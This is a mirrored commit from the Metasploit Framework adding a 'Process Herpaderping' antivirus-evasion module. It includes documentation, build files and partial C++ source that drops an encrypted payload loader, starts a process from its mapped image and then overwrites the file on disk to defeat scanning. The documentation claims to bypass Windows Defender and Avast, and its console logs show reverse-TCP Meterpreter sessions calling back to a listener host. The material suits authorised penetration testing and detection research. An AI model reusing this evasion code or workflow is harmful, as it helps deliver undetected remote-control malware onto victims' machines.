mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Add Process Herpaderping evasion module and binaries
This commit is contained in:
parent
772f98a7dc
commit
8af5ee8a32
4
LICENSE
4
LICENSE
@ -127,6 +127,10 @@ Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
|
||||
Copyright: 2020 Johnny Shaw
|
||||
License: MIT
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate_x64.exe
Executable file
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate_x64.exe
Executable file
Binary file not shown.
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate_x86.exe
Executable file
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderpingTemplate_x86.exe
Executable file
Binary file not shown.
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderping_x64.exe
Executable file
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderping_x64.exe
Executable file
Binary file not shown.
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderping_x86.exe
Executable file
BIN
data/evasion/windows/process_herpaderping/ProcessHerpaderping_x86.exe
Executable file
Binary file not shown.
172
documentation/modules/evasion/windows/process_herpaderping.md
Normal file
172
documentation/modules/evasion/windows/process_herpaderping.md
Normal file
@ -0,0 +1,172 @@
|
||||
## Description
|
||||
This module allows you to generate a Windows executable that evades security
|
||||
products such as Windows Defender, Avast, etc. This uses the Process
|
||||
Herpaderping technique to bypass Antivirus detection. This method consists in
|
||||
obscuring the behavior of a running process by modifying the executable on disk
|
||||
after the image has been mapped in memory (more details
|
||||
[here](https://jxy-s.github.io/herpaderping/)).
|
||||
|
||||
First, the chosen payload is encrypted and embedded in a loader Portable
|
||||
Executable (PE) file. This file is then included in the final executable. Once
|
||||
this executable is launched on the target, the loader PE is dropped on disk and
|
||||
executed, following the Process Herpaderping technique. Note that the name of
|
||||
the file that is being dropped is randomly generated. However, it is possible
|
||||
to configure the destination path from Metasploit (see `WRITEABLE_DIR` option
|
||||
description).
|
||||
|
||||
Here is the main workflow:
|
||||
1. Retrieve the target name (where the PE loader will be dropped).
|
||||
1. Retrieve the PE loader from the binary and write it on disk.
|
||||
1. Create a [section object](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views)
|
||||
and create a process from the mapped image.
|
||||
1. Modify the file content on disk by copying another (inoffensive) executable
|
||||
or by using random bytes (see `REPLACED_WITH_FILE` option description).
|
||||
1. Create the main Thread.
|
||||
|
||||
The source code is based on [Johnny Shaw](https://twitter.com/jxy__s)'s
|
||||
[PoC](https://github.com/jxy-s/herpaderping).
|
||||
|
||||
## Verification Steps
|
||||
Here are the steps using a Meterpreter payload on a 64-bits target:
|
||||
|
||||
1. Do: `use evasion/windows/process_herpaderping`
|
||||
1. Do: `set LHOST <local IP>`
|
||||
1. Do: `set target 0`
|
||||
1. Do: `set payload windows/x64/meterpreter/reverse_tcp`
|
||||
1. Do: `handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>`
|
||||
1. Do: `run`
|
||||
1. Copy the generated executable file to the target (using another exploit or SMB)
|
||||
1. Run it on the target
|
||||
1. Verify the Antivirus did not block its execution
|
||||
1. Verify you got a session
|
||||
|
||||
## Options
|
||||
|
||||
### ENCODER
|
||||
A specific encoder to use (automatically selected if not set). Note that the
|
||||
encoded payload will be automatically encrypted before being placed into the
|
||||
loader.
|
||||
|
||||
### FILENAME
|
||||
Filename for the generated evasive file file. The default is random.
|
||||
|
||||
### WRITEABLE_DIR
|
||||
Where to write the loader on disk. Windows environment variables can be used
|
||||
in the path and the default is set to `%TEMP%`. Note that this file will be
|
||||
removed automatically when the session is terminated or if an error occurs.
|
||||
|
||||
### REPLACED_WITH_FILE
|
||||
The file to replace the target with. If not set, the target file will be filled
|
||||
with random bytes (WARNING! it is likely to be catched by AV). Windows
|
||||
environment variables can be used in the path and the default is set to
|
||||
`%SystemRoot%\\System32\\calc.exe`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Windows 10 x64 version 1909 with Avast Antivirus (also tested with Windows Defender)
|
||||
```
|
||||
msf6 > use evasion/windows/process_herpaderping
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 evasion(windows/process_herpaderping) > set LHOST 192.168.144.1
|
||||
LHOST => 192.168.144.1
|
||||
msf6 evasion(windows/process_herpaderping) > set target 0
|
||||
target => 0
|
||||
msf6 evasion(windows/process_herpaderping) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf6 evasion(windows/process_herpaderping) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444
|
||||
[*] Payload handler running as background job 0.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.144.1:4444
|
||||
msf6 evasion(windows/process_herpaderping) > run
|
||||
[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe
|
||||
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe
|
||||
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x64.exe
|
||||
|
||||
msf6 evasion(windows/process_herpaderping) >
|
||||
[*] Sending stage (200262 bytes) to 192.168.144.128
|
||||
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.128:50205) at 2021-01-22 13:02:14 +0100
|
||||
|
||||
msf6 evasion(windows/process_herpaderping) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-UUQE0B4
|
||||
OS : Windows 10 (10.0 Build 18363).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-UUQE0B4\n00tmeg
|
||||
meterpreter > [*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.144.128 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
||||
|
||||
### Windows 7 x86 with Avast Antivirus
|
||||
```
|
||||
msf6 evasion(windows/process_herpaderping) > set target 1
|
||||
target => 1
|
||||
msf6 evasion(windows/process_herpaderping) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf6 evasion(windows/process_herpaderping) > options
|
||||
|
||||
Module options (evasion/windows/process_herpaderping):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ENCODER no A specific encoder to use (automatically selected if not set)
|
||||
FILENAME raU.exe yes Filename for the evasive file (default: random)
|
||||
REPLACED_WITH_FILE %SystemRoot%\System32\calc.exe no File to replace the target with. If not set, the target file will be filled with random bytes (WARNING! it is likely to be catched by AV).
|
||||
WRITEABLE_DIR %TEMP% yes Where to write the loader on disk
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.144.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Evasion target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Microsoft Windows (x86)
|
||||
|
||||
|
||||
msf6 evasion(windows/process_herpaderping) > run
|
||||
|
||||
[+] raU.exe stored at /home/msfuser/.msf4/local/raU.exe
|
||||
msf6 evasion(windows/process_herpaderping) > cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe
|
||||
[*] exec: cp /home/msfuser/.msf4/local/raU.exe /remote_share/tmp/test_x86.exe
|
||||
|
||||
msf6 evasion(windows/process_herpaderping) > jobs -K
|
||||
Stopping all jobs...
|
||||
msf6 evasion(windows/process_herpaderping) > handler -p windows/meterpreter/reverse_tcp -H 192.168.144.1 -P 4444
|
||||
[*] Payload handler running as background job 1.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.144.1:4444
|
||||
msf6 evasion(windows/process_herpaderping) > [*] Sending stage (175174 bytes) to 192.168.144.133
|
||||
[*] Meterpreter session 3 opened (192.168.144.1:4444 -> 192.168.144.133:51542) at 2021-01-22 13:09:43 +0100
|
||||
|
||||
msf6 evasion(windows/process_herpaderping) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN7-DEV
|
||||
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > getuid
|
||||
Server username: WIN7-DEV\n00tmeg
|
||||
meterpreter > [*] Shutting down Meterpreter...
|
||||
|
||||
[*] 192.168.144.133 - Meterpreter session 3 closed. Reason: User exit
|
||||
```
|
31
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.sln
vendored
Executable file
31
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.sln
vendored
Executable file
@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.30717.126
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHerpaderping", "ProcessHerpaderping.vcxproj", "{094F7624-94B2-42D1-A9C0-A06C67A898DE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x64.Build.0 = Debug|x64
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Debug|x86.Build.0 = Debug|Win32
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x64.ActiveCfg = Release|x64
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x64.Build.0 = Release|x64
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x86.ActiveCfg = Release|Win32
|
||||
{094F7624-94B2-42D1-A9C0-A06C67A898DE}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {097EA0CA-15F6-448D-8DBB-574CF3082331}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
200
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.vcxproj
vendored
Executable file
200
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.vcxproj
vendored
Executable file
@ -0,0 +1,200 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="herpaderp.cpp" />
|
||||
<ClCompile Include="utils.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="herpaderp.hpp" />
|
||||
<ClInclude Include="pch.hpp" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<ProjectGuid>{094f7624-94b2-42d1-a9c0-a06c67a898de}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>ProcessHerpaderping</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)build\$(Configuration).$(PlatformTarget)\</OutDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);$(SolutionDir)ext\submodules\;$(SolutionDir)ext\submodules\phnt\;$(SolutionDir)ext\submodules\wil\include\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<SupportJustMyCode>false</SupportJustMyCode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>DebugFull</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<OmitFramePointers />
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Create</PrecompiledHeader>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PrecompiledHeaderFile>pch.hpp</PrecompiledHeaderFile>
|
||||
<GenerateXMLDocumentationFiles>true</GenerateXMLDocumentationFiles>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
12
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters
vendored
Executable file
12
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters
vendored
Executable file
@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="herpaderp.cpp" />
|
||||
<ClCompile Include="utils.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="herpaderp.hpp" />
|
||||
<ClInclude Include="pch.hpp" />
|
||||
<ClInclude Include="utils.hpp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
329
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.cpp
vendored
Executable file
329
external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/herpaderp.cpp
vendored
Executable file
@ -0,0 +1,329 @@
|
||||
#include "pch.hpp"
|
||||
#include "herpaderp.hpp"
|
||||
#include "utils.hpp"
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Herpaderp::ExecuteProcess()
|
||||
{
|
||||
HRESULT hr;
|
||||
|
||||
std::wstring TargetFileName;
|
||||
hr = Utils::GetFileName(Herpaderp::_TargetFileName, TargetFileName);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to retrieve the target filename", hr);
|
||||
}
|
||||
dprintf("Target File: \"%S\"", TargetFileName.c_str());
|
||||
|
||||
DWORD sourceSize = sizeof(payload);
|
||||
PBYTE ptrPayload = payload;
|
||||
if (payload && sourceSize > 0)
|
||||
{
|
||||
dprintf("Payload size: %d (%p)", sourceSize, ptrPayload);
|
||||
}
|
||||
|
||||
// To create target file with exclusive access, set shareMode to 0
|
||||
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
|
||||
FileHandle targetHandle(TargetFileName, TRUE);
|
||||
targetHandle.get() = CreateFileW(TargetFileName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
shareMode,
|
||||
nullptr,
|
||||
CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
nullptr);
|
||||
if (!targetHandle.valid())
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("Failed to create target file", GetLastError());
|
||||
}
|
||||
|
||||
DWORD bytesWitten = 0;
|
||||
BOOL boolRet = WriteFile(
|
||||
targetHandle.get(),
|
||||
ptrPayload,
|
||||
sourceSize,
|
||||
&bytesWitten,
|
||||
nullptr
|
||||
);
|
||||
if (!boolRet)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("Failed to copy source binary to target file", GetLastError());
|
||||
}
|
||||
|
||||
boolRet = SetEndOfFile(targetHandle.get());
|
||||
if (!boolRet)
|
||||
{
|
||||
REPORT_AND_RETURN_WIN32("Failed to set EOF on target file", GetLastError());
|
||||
}
|
||||
|
||||
dprintf("Copied source binary to target file");
|
||||
|
||||
//
|
||||
// Map and create the target process. We'll make it all derpy in a moment...
|
||||
//
|
||||
AutoCloseHandle sectionHandle(TRUE);
|
||||
auto status = NtCreateSection(§ionHandle.get(),
|
||||
SECTION_ALL_ACCESS,
|
||||
nullptr,
|
||||
nullptr,
|
||||
PAGE_READONLY,
|
||||
SEC_IMAGE,
|
||||
targetHandle.get());
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("Failed to create target file image section", status);
|
||||
}
|
||||
|
||||
dprintf("Created image section for target");
|
||||
|
||||
ProcessHandle processHandle;
|
||||
status = NtCreateProcessEx(&processHandle.get(),
|
||||
PROCESS_ALL_ACCESS,
|
||||
nullptr,
|
||||
NtCurrentProcess(),
|
||||
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
|
||||
sectionHandle.get(),
|
||||
nullptr,
|
||||
nullptr,
|
||||
0);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
REPORT_AND_RETURN_NT("Failed to create process", status);
|
||||
}
|
||||
|
||||
dprintf("Created process object, PID %lu", GetProcessId(processHandle.get()));
|
||||
|
||||
//
|
||||
// Alright we have the process set up, we don't need the section.
|
||||
//
|
||||
sectionHandle.close();
|
||||
|
||||
//
|
||||
// Go get the remote entry RVA to create a thread later on.
|
||||
//
|
||||
uint32_t imageEntryPointRva;
|
||||
hr = Utils::GetImageEntryPointRva(targetHandle.get(), imageEntryPointRva);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
REPORT_AND_RETURN_HR("Failed to get target file image entry RVA", hr);
|
||||
}
|
||||
|
||||
